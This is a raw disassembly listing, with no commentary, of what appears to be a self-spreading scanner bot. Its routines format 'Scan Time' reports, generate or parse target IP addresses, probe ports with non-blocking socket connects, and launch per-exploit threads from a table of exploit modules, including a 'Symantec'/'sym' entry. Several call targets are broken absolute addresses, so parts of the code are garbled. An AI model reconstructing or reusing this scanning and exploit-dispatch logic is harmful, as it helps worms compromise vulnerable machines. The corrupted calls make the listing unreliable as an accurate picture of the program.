		lea	eax, [ebp+var_200]
		push	dword_4CDA7C
		push	offset unk_4317C4
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CDCC4
		push	offset unk_43180C
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431858
		push	eax
		call	sub_41B886
		cmp	dword_431408, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431848
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi


loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CAFB4
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431408, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_431408
		mov	eax, ebx


loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318A8
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]


loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2


loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431874
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
; ---------------------------------------------------------------------------
		dd 2B45ABE8h
		db 2, 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4CB0C0[eax*8]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_4318F8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------


loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4318D8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431414[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD17C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CD38C, eax
		mov	dword_4CD388, ebx
		nop
		call	near ptr 2650000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD280
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD178, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CD410, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, ebx


loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD38C
		push	offset unk_42BE5C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD384, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD178
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, dword_4CD384
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BC08


loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4CD418, ebx
		jnz	short loc_40BC23
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------


loc_40BC08:				; CODE XREF: sub_40BACD+127j
		call	near ptr 2660D84h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431A18
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4CACB0
		mov	esi, offset dword_4CD424
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CD634, eax
		mov	dword_4CD630, ebx
		call	near ptr 2650000h
		nop
		push	103h
		push	edi
		push	offset dword_4CD528
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD420, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CD6B8, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------


loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, ebx


loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD634
		push	offset unk_4319E4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD62C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD420
		push	offset byte_40E991
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, dword_4CD62C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BD2C


loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4CD6C0, ebx
		jnz	short loc_40BD47
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------


loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		nop
		call	near ptr 2660D84h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4319B0
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43141C[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4CDCBC
		cmp	[ebp+arg_90], bl
		mov	dword_4CD0E4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD0D8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD0E0, ebx
		mov	dword_4CD168, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------


loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, ebx


loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4CD0E4
		lea	eax, [ebp+var_204]
		push	offset unk_431980
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4CD0DC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD0D8
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, dword_4CD0DC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BE4F


loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4CD170, ebx
		jnz	short loc_40BE6A
		push	32h
		call	near ptr 2660545h
		nop
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------


loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		call	near ptr 2660D84h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431948
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_431418[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4CD954
		push	104h
		push	esi
		push	ebx
		call	near ptr 2650000h
		nop
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl


loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4CDA6C, ebx
		mov	dword_4CDA58, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD6CC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CD6C8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CDA58
		mov	dword_4CDA64, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CDA68, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42BDE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4CDA60, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD6C8
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, dword_4CDA60
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BF77


loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4CDA74, ebx
		jnz	short loc_40BF92
		push	32h
		call	near ptr 2660545h
		nop
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------


loc_40BF77:				; CODE XREF: sub_40BACD+496j
		nop
		call	near ptr 2660D84h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431914
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB0C0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CAE9C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CAF70
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------


loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax


loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax


loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax


loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2


loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB0C0[ecx*8], eax


loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------


loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CAF74
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CAF5C
		push	esi
		mov	edi, eax
		call	dword_4CB00C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 2670B87h
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_43DEB4[ebx]
		cmp	dword_4CB0C4[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------


loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3


loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43DEB4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A74
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43DCB0[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4CD0C0
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A4C
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]


loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h


loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4CD0C0
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C31D
; ---------------------------------------------------------------------------


loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]


loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43140C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		nop
		call	near ptr 2660545h
		jmp	loc_40C16B
; ---------------------------------------------------------------------------


loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		call	near ptr 26C0000h
		nop


loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CAFB4
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB0C0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4CD0C0
		push	esi
		nop
		call	near ptr 26C0784h
		push	80000400h
		push	esi
		call	near ptr 26C05EBh
		nop
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B58
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB0C4[eax*8], ebx
		xor	ebx, ebx
